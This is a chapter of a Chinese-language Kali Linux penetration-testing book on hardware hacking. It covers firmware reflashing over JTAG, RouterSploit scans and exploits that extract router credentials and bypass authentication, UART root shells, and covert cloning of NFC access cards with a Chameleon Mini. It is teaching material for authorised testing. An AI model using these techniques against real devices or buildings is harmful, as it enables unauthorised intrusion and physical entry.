本章我们将理解嵌入式系统的基本原理，以及外围设备扮演的角色，并学习Kali Linux环境下的各种工具和方法，用以对设备实施典型的渗透测试或者产品评估。我们还将配置Chameleon Mini来模拟NFC卡，并在红队训练或渗透测试过程中，通过重放存储的内存内容绕过物理的访问控制。

在本章中，你将学习：

·嵌入式系统及硬件架构。

·UART串行总线。

·USBJTAG简介。

·固件和常见的引导加载程序的解包。

·使用Chameleon Mini入侵RFID。

14.1　嵌入式系统及硬件架构

嵌入式系统是用以完成特定任务的软硬件的组合。它们通常基于一个微控制器和多个微处理器。本节我们将快速学习嵌入式系统的不同架构元素，其硬件架构包括内存以及设备间的通信。我们日常生活中使用的很多东西都是嵌入式设备，包括手机、DVD播放器、GPS系统，还有智能语音助手（如Alexa）。

嵌入式系统的基本架构

微控制器和微处理器的唯一区别是，微处理器没有RAM/ROM，需要外部添加。如今，大多数嵌入式设备/系统使用的是微控制器，它包含一个CPU以及一定数量的RAM/ROM。

图14-1给出了一个简单的嵌入式系统的典型架构。

图14-1　嵌入式系统的典型架构

嵌入式系统由以下部分组成：

·硬件：包括芯片集和处理器，如ARM（使用最广泛）、MIPS、Ambarella、Axis CRIS、Atmel AVR、Intel8051，或Motorola微控制器。

·操作系统：大多数嵌入式系统都是基于Linux的，是为设备定制的实时操作系统（Real-Time Operating System，RTOS）。测试人员可能会有一些疑问，比如，操作系统与固件的区别是什么？固件允许设备厂商使用通用的可编程的芯片，而非定制的硬件。

·应用软件：这是定制的应用，用于控制设备及其特性。大多数时候，会使用一个Web应用来配置或更新设备。

理解固件

在电子系统和计算机领域，固件是一种连接到特定硬件的软件，提供底层控制。根据厂商的不同，每种设备都有各自的固件。

图14-2列举了具有特定固件的设备类别和类型，其中大多数都是基于Linux系统的。注意，这里并没有覆盖所有类别。

表14-1列举了大多数嵌入式设备使用的内存类型。

固件的类型

由于各种复杂的因素，几乎所有的嵌入式设备使用的都是不同的固件。执行繁重任务的嵌入式设备则需要完整的操作系统，如Linux或者Windows NT。下面给出了在固件分析中常见的操作系统：

图14-2　固件的类别和类型

表14-1　嵌入式设备使用的内存类型

·Ambarella：主要用于视频摄像头和无人机等领域的嵌入式操作系统。

·Cisco IOS：思科的互联网操作系统。

·DOS：快要被废弃的磁盘操作系统。但是测试人员永远不知道在测试时会发现什么。

·eCos：嵌入式可配置操作系统（Embedded Configurable Operating System）,eCos社区的开源实时操作系统。

·JunOS：Juniper网络系统，Juniper为其路由设备定制的基于FreeBSD的操作系统。

·L4microkernel family：第2代微核系统，看起来类似于Unix的操作系统。

·VxWorks/Wind River：一种流行的专有实时操作系统。

·Windows CE/NT：微软的嵌入式操作系统，很少在设备上使用。

理解引导加载程序

每个设备都有一个引导加载程序（bootloader）。它们就是在掩码ROM引导加载程序之后加载并执行的第一段软件。主要用于将操作系统的各个部分加载到内存中，并确保系统加载到内存中为内核定义的状态。部分引导加载程序分成两步，只有加载第一步后才知道如何加载第二步，而第二步将提供访问文件系统等。以下是到目前为止，我们在产品评估期间遇到过的引导加载程序：

·U-Boot:Universal Boot的简写。U-Boot是开源的，并且几乎可用于所有的架构（如68k、ARM、Blackfin、MicroBlaze、MIPS、Nios、SuperH、PPC、RISC-V和x86）。

·RedBoot:使用eCos实时操作系统的硬件抽象层为嵌入式系统提供bootstrap固件。

·BareBox：另一种用于嵌入式设备的开源主引导加载程序，支持RM、Blackfin、MIPS、Nios II和x86。

常用工具

在设备固件进行调试或逆向工程期间，可以使用的工具如下。其中一些工具已作为Kali Linux工具包的一部分提供：

·binwalk:它是一种可以执行分析和提取任何图像或二进制文件的逆向工程工具，支持脚本编写，以及添加模块。

·firmware-mod-kit:包含多个脚本的工具包，在评估过程中可以很方便地提取和重建基于Linux的固件镜像。测试人员也可以重构或解构固件镜像。

·ERESI framework:它是一个具有多架构二进制文件分析框架的软件接口，可以执行逆向工程和程序操作。

·cnu-fpu：Cisco IP电话固件包/解包器，参见https://github.com/kbdfck/cnu-fpu。

·ardrone-tool：此工具处理所有parrot格式的文件，并允许用户通过USB闪存并加载新固件。参见https://github.com/scorp2kk/ardrone-tool。

14.2　固件解包与更新

在本节中，我们将探讨如何解压缩固件并使用自定义固件进行更新。我们注意到固件镜像并没有包含要构建一个完整系统所需的所有文件。通常，固件包含以下内容：

·Bootloader（1个或2个阶段）

·核

·文件系统镜像

·用户区二进制文件

·资源和支持文件

·Web服务器/网络接口

本节我们将使用USBJTAG NT工具，将USB连接到Kali Linux，JTAG连接在设备的电路板上。JTAG代表联合测试行动组（Joint Test Action Group）。它是制造完成后，验证设计和测试印刷电路板的行业标准。

无论设备如何受限，JTAG都可以从测试访问端口（Test Access Port，TAP）角度去使用。制造商通常会留有一个串口或几个TAP。根据我们的经验，如果串行访问没有获得期望的结果或设备被锁定，可能使用JTAG端口更容易（但并非总是这样，因为设备可能被完全锁定）。

JTAG架构由芯片制造商指定，并且在大多数情况下，即使采用菊花链的JTAG，也遵循主芯片组的命令和控制规范。所有产品都分配有提供设备详细信息的FCC ID。FCC ID可以通过访问https://www.fcc.gov/oet/ea/fccid进行搜索。我们必须有设备正确的电压，否则，我们最终会破坏设备或使硬件出现故障。一旦确定了JTAG架构的类型，就可以开始查看配置连接所需的规范和命令。

在本节中，我们将使用USBJTAG NT，它预先配置了一系列不同类别和类型的设备。该工具可以从https://www.usbjtag.com/filedownload/usbjtagnt-for-linux.php?d=1网站直接下载。本例中，我们将使用USBJTAG NT线缆。路由器的物理连接如图14-3所示。

图14-3　路由器的物理连接

由于USBJTAG NT大量使用了库，要在Kali Linux上成功运行它，必须确保安装了libqtgui和libqtnetwork，可以通过aptget install libqt4-network:i386libqtgui4:i386命令实现。

随后，你将看到如图14-4所示的启动画面。

选择好Category、Protocol类别（这里我们使用Router,EJTAG作为Protocol）和Target后，从目标中选择路由器的型号。如图14-5所示，如果JTAG物理连接正常工作，我们就可以调试设备了。

随后，利用程序命令清除原始设备制造商（Original Equipment Manufacturer，OEM）操作系统。完成后，我们可以上传一个新的.bin文件到设备，它会将OpenWRT加载到选定的路由器并具有完全权限。OpenWRT是一种用于常驻网关的开源固件，最初是为Linksys WRT54G无线路由器创建的。它已发展成为一个嵌入式Linux分发版本，支持各种设备。

图14-4　USBJTAG NT启动画面

图14-5　调试设备

如图14-6所示，可以利用具有root权限的直接SSH来访问设备进行验证（确保使用物理以太网电缆连接了路由器和笔记本，并且设置了静态IP地址）。

图14-6　验证具有root权限

14.3　RouterSploit框架简介

与Metasploit框架类似，RouterSploit是一个Threatnine（https://www.threat9.com）开发的针对嵌入式设备的开源漏洞利用框架，特别是针对路由器。RouterSploit可以通过在Kali终端中运行apt-get install routersploit命令来直接安装。其最新版本是3.4.0，包含130个已知漏洞利用和4个不同的扫描器，适用于不同类型的设备。

以下是RouterSploit的模块：

·exploits：涉及所有已知漏洞的模块。

·creds：用于测试登录凭据（具有预定义的用户名和密码）的模块。

·scanners：使用预配置列表扫描漏洞的模块。

·payloads：根据设备类型生成负载的模块。

·generic/encoders：包含通用负载和编码器的模块。

在下面的示例中，我们将使用RouterSploit的扫描器功能来确定连接的路由器是否容易受到某些已知漏洞的攻击。我们将对运行192.168.1.8的路由器使用scanners/autopwn命令，如图14-7所示。

扫描器将从exploits模块发起130次漏洞扫描。由于我们使用了autopwn，在扫描结束时你应该能够看到路由器存在的漏洞列表，如图14-8所示：

图14-7　对路由器进行扫描

图14-8　路由器存在的漏洞列表

现在我们知道该设备容易受到两种不同的攻击，那么让我们继续，运行以下命令使用漏洞利用：

此漏洞利用使用本地文件包含（Local File Inclusion），访问httaccess文件并提取了用户名和密码。如图14-9所示，运行成功后，获取到登录信息。

图14-9　获取到登录信息

让我们尝试通过其他漏洞绕过身份验证，而无须通过操纵URL使用有效凭据完成登录。我们将通过运行routersploit利用路由器漏洞，如图14-10所示。如果路由器运行在443端口，将ssl的值设置为true：

图14-10　利用routersploit绕过身份验证

最后，可以利用URL访问路由器的Web接口，如图14-11所示，将直接进入路由器的配置页面。

图14-11　路由器配置页面

14.4　UART

UART代表通用异步接收器/传输器（Universal Asynchronous Receiver/Transmitter）。这是计算机最早的通信模式之一：可以追溯到1960年，当时它主要用于连接微型计算机与电传打字机。UART的主要目的是像独立的集成电路一样传输和接收串行数据。它不是SPI（串行外设接口）或I2C（内部集成电路）协议。制造商通常使用它来连接微控制器以存储和加载程序。每个UART设备都有各自的优点和缺点。以下是UART的优点：

·只有两根线，所以很简单，一根用于传输（TX）而另一根用于接收（RX）。

·不需要时钟信号。

·可以通过奇偶校验位执行错误检查。

·如果两端都已设置，则可以更改数据包的结构。

·由于其文档公开在整个互联网上，因此被广泛使用。

UART有以下限制：

·测试人员无法增加数据帧，限制最多只能为9位。

·无法设置多个从站或主站系统。

·UART波特率必须在10％以内。

在本节中，我们将使用USB转TTL（晶体管/晶体管逻辑）适配器通过连接到设备电路板的串行端口来执行UART通信。

USB转TTL适配器包含以下四个端口：

·GND：接地电源（0V）。

·VCC：电压电源，3.3V（默认）或5V。

·TX：串行传输。

·RX：串行接收。

攻击者在硬件黑客攻击中面临的一大挑战是识别正确的串行端口。这可以通过使用万用表读取电压输出以确认TX（通常，当设备接通时，电压会持续波动）、RX（最初它将波动，但在一个点之后将保持恒定）和GND（零电压）来完成。

在本例中，我们将使用一个众所周知的无线路由器，并将UART连接到TTL以直接与硬件通信，如图14-12所示。

当正确识别出TX/RX和接地时，我们可以在Kali Linux中运行Python文件baudrate.py（https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Third-Edition/blob/master/Chapter%2014/baudrate.py），进而获取所连接设备的信息。连接到串行设备后，你将在Kali中看到如图14-13所示的内容。大多数时候，可以将路由器的波特率设置为115200。

Kali Linux成功读取设备后，我们就可以通过在命令行中运行screen/dev/ttyUSB0 115200来开始与设备交互，这将为我们提供直接的shell访问，如图14-14所示。测试人员必须注意，在此示例中，我们使用了一个提供直接根访问权限的已知路由器，这可能与其他设备中的情况不同。最近制造的设备将提示输入用户名和密码。

图14-12　UART连接TTL

图14-13　连接串行设备后看到的画面

图14-14　运行screen/dev/ttyUSB0 115200命令

从调试日志中了解设备一直是一种好方法，我们在大量物联网设备中看到了硬编码凭证。

14.5　利用Chameleon Mini克隆RFID

RFID表示射频识别（Radio Frequency Identification），它利用无线电波识别条目。RFID系统至少包含标签、读取器和天线，包括有源和无源RFID标签。有源RFID标签包含自己的电源，使其能够以高达100米的读取范围进行广播。无源RFID标签没有自己的电源。相反，它们由RFID读取器传输的电磁能量供电。

NFC代表近场通信，它是RFID的一个子集，但具有更高频率。NFC/RFID工作在13.56MHz频段。NFC还被设计为作为NFC读取器和NFC标签运行，这是NFC设备能与同伴通信的独特特性。在本节中，我们将探讨如何将设备用于在物理渗透测试、社会工程学攻击或红队训练中实现既定目标。例如，如果你需要展示某机构的真实威胁，包括获得对该机构办公室、数据中心或会议室的访问权限，Chameleon Mini可以方便地将六种不同的UID存储在信用卡大小的便携式设备中，如图14-15所示。

图14-15　Chameleon Mini设备

Chameleon Mini是由Kasper＆Oswald创建的一款设备，旨在分析NFC的安全问题，以模拟和克隆非接触式卡，读取RFID标签以及嗅探RF数据。对于开发人员，它是可自由编程的。在这个例子中，我们将使用Chameleon Mini RevG color来演示克隆UID。

在Kali Linux中，我们可以通过直接连接USB来验证设备。lsusb命令可以将Chameleon Mini显示为MCS，并且连接Kali Linux的每个串行设备都将列在/dev/中。在本例中，我们的设备可以在名为ttyACM0的串行端口下看到，如图14-16所示。

如图14-17所示，我们可以通过运行socat-/dev/ttyACM0,crnl直接使用socat与串口通信。

你需要准备好要克隆的卡。将要克隆的卡放在Chameleon Mini上，测试人员键入CLONE就完成了克隆，如图14-18所示。

图14-16　显示所有串行设备

图14-17　与串口通信

图14-18　利用Chameleon Mini实现克隆

以下步骤可实现手动克隆：

1.命令行

（1）在Kali和设备之间建立串行端口通信后，键入HELP命令以显示Chameleon Mini的所有可用命令。

（2）Chameleon Mini配有8个插槽，每个插槽都可作为独立的NFC卡使用。可以使用SETTINGS=命令设置插槽。例如，我们可以通过键入SETTINGS=2命令将插槽设置为2，它应该返回100：OK。

（3）运行CONFIG？查看当前配置。新设备应返回以下内容：

2.下一步是使读卡器进入“reader”模式。这可以通过键入CONFIG=ISO14443A_READER来实现。

3.现在我们可以将需要克隆的卡放在读卡器上，并输入Identify命令。

4.确定卡的类型后，现在你可以使用CONFIG命令进行配置。在本例中，卡的类型是MIFARE Classic1K，因此我们将运行CONFIG=MF_CLASSIC_1K。

5.配置完成后，可以从卡中窃取UID，然后通过运行UID=CARD NUMBER添加到Chameleon Mini，如图14-19所示。

图14-19　添加UID到Chameleon Mini

6.现在我们已经准备好使用Chameleon Mini作为克隆的卡。

7.渗透测试人员还可以预先对此进行编程，以便在移动时使用设备随附的两个按钮来执行克隆任务。例如，在社会工程学攻击期间，当测试人员与受害者公司的员工交谈时，他们可以点击按钮并克隆身份卡（NFC）。这可以通过以下命令执行：

·LBUTTON=CLONE：设置为单击左侧按钮实现卡片克隆。

·RBUTTON=CYCLE_SETTINGS：设置为单击右键旋转插槽。例如，如果将CARD A克隆到了插槽1，并且你想要克隆另一张卡，可以通过单击右侧按钮移动插槽（例如，移动到插槽2）。然后，你可以继续单击左侧按钮克隆另一张CARD B。

其他工具

还有其他工具，如HackRF One（一个软件定义的无线电）也可以被渗透测试人员用来执行任何类型的无线电嗅探或信号传输，甚至重放捕获的无线电数据包。

我们将举一个在Kali Linux中使用HackRF One SDR嗅探无线电频率的简单示例。HackRF库已在Kali Linux预安装。测试人员应该能够通过从终端运行hackrf_info来识别设备。如果设备被识别，你应该能够看到以下屏幕截图（图14-20），其中包含固件、部件ID等详细信息。

图14-20　运行hackrf_info识别设备

测试者可以利用kalibrate工具扫描任何GSM基站。可以从https://github.com/scateu/kalibrate-hackrf下载此工具，并使用以下命令构建：

安装完成后，kal可用于扫描任何特定频段或监视频率，如图14-21所示。

图14-21　利用kal扫描基站

如果测试人员在现场评估期间能够识别外围设备的类型，并发现该公司正在使用某些易受攻击的硬件，那么测试人员可以使用Crazyradio PA，这是一种远程2.4 GHz USB无线电加密狗，可以通过无线信号将负载发送到任何具有漏洞设备的计算机上。

14.6　小结

在本章中，我们快速了解了基本的嵌入式系统及其架构，并了解了不同类型的固件、引导加载程序、UART、无线电嗅探以及可在硬件黑客攻击期间使用的常用工具。我们还学习了如何使用USBJtag NT解包固件并在路由器上加载新固件，我们探索了如何使用RouterSploit识别嵌入式设备中的特定漏洞。最后，我们学习了如何使用Chameleon Mini克隆物理RFID/NFC卡，这可以在红队训练中使用。

我们希望本书能够帮助你了解基本风险，以及攻击者如何使用这些工具在几秒钟内入侵网络和设备，了解如何使用相同的工具和技术来了解架构漏洞，以及在基础架构受到攻击之前进行修复和更新补丁的重要性。